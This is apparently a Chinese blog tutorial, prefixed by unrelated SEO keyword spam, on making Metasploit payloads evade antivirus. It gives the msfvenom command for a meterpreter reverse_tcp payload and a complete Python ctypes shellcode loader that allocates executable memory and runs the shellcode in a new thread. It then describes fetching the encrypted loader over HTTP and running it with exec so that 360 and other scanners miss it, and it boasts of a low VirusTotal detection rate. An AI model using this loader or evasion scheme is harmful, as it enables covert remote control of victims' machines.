梅州兴宁网站建设培训,辽宁建设工程信息网怎么查人员,博物馆设计公司哪个好,怎么在网络上做推广Msf之Python分离免杀
——XyLin.
成果展示#xff1a;
VT查杀率:8/73 (virustotal.com) 火绒和360可以过掉#xff0c;但Windows Defender点开就寄掉了 提示#xff1a;我用360测的时候#xff0c;免杀过了#xff0c;但360同时也申报了#xff0c;估计要不了多久就寄…Msf之Python分离免杀
——XyLin.
成果展示
VT查杀率:8/73 (virustotal.com) 火绒和360可以过掉但Windows Defender点开就寄掉了 提示我用360测的时候免杀过了但360同时也申报了估计要不了多久就寄掉了 一生成ShellCode代码
Msfvenom -p “Payload” lhost“IP”lport“port” -f python file.py
Windows操作系统现如今都是x64位
所以payload采取windows/x64/meterpreter/reverse_tcp 运行后得到shellcode将其全部复制丢进Python里面进行加密处理 这里采用的是base64加密base64的特征加密后的内容中只会出现52个大小写字母、10个数字和””””号, 这样的话可以把很多汉字特殊字符转为字母便于后期自己写加密
本文中采取的加密是我个人写的 将加密后的shellcode扔进shellcode加载器中 import ctypes
import base64buf base64.b64decode(密文.encode(utf8))shellcode bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype ctypes.c_uint64
ptr ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
handle ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
### 到此我来讲解一下我的免杀思路:
将shellcode转为base64编码避免被静态查杀把加载器的源代码加密后放入txt文本中通过Python自带的http服务开启网页把txt放入网页用requests来请求加载器然后通过exec函数来执行为了避免360查出加密内容我们将加载器的源代码再次加密得到密文字符串后放 入新的文件中并将其做成函数库的形式在新的文件中调用上文的函数库并用exec执行即可免杀 ### 加载器讲解
// 所有的值都要经过ctypes.c_int()转换为C语言类型
1. 将生成的shellcode转为字节数组方便Ctypes函数库处理
shellcode bytearray(buf) 2. 设置内存的返回值为64位
ctypes.windll.kernel32.VirtualAlloc.restype ctypes.c_uint64
3. 创建内存空间
第一个0表示系统自动分配内存第二个表示分配内存空间大小0x3000是0x1000 || 0x2000表示即分配物理内存又分配虚拟内存0x40表示该内存赋予可读写的权限
ptr ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
4. 将shellcode字节数组变为字符数组并放入缓冲区
字符数组的长度位shellcode的长度
buf (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
5. 将shellcode代码移入开辟的新内存
第一个表示移动到哪个位置需要内存空间转化为64位第二个是需要移动的值第三个是需要移动的字符长度
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
6. 启动线程执行shellcode
注只要是内存空间都转换为64位
第一个0表示线程系统默认的线程安全第二个0表示线程默认的大小第三个表示执行哪个内存空间的值第四个0表示该内存不传参第五个0表示立即执行第六个0表示线程ID
handle ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), # 线程默认安全ctypes.c_int(0), # 线程默认大小ctypes.c_uint64(ptr), # 需执行的内存空间ctypes.c_int(0), # 表示无传参ctypes.c_int(0), # 表示立即执行ctypes.pointer(ctypes.c_int(0))) # 表示线程ID
7. 无限等待线程结束
第一个表示需要等待的线程第二个中的-1表示无限等待
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
讲完加载器那么我们来讲解分离免杀
分离免杀顾名思义就是加载器的代码与执行加载器的代码分开写
上面思路讲到加载器的代码加密后放入txt文本中
我们使用python自带的http服务把txt中的内容变成网页
python -m http.server port
后面使用requests.get()的形式把加密后的加载器给取下来然后采取exec来执行加载器 由于代码中exec与密文的解密同时出现导致会被杀软列入黑名单 所以我就想既然又要加密解密又要exec函数该用啥实现呢
后面想到采用函数库调用的方式来实现 先将上述代码加密然后放入新建的一个python文件中, 并把它制成函数 然后在用调用这个自定义函数然后执行, 加一个try来进行无限重连
以下为最终代码 成功上线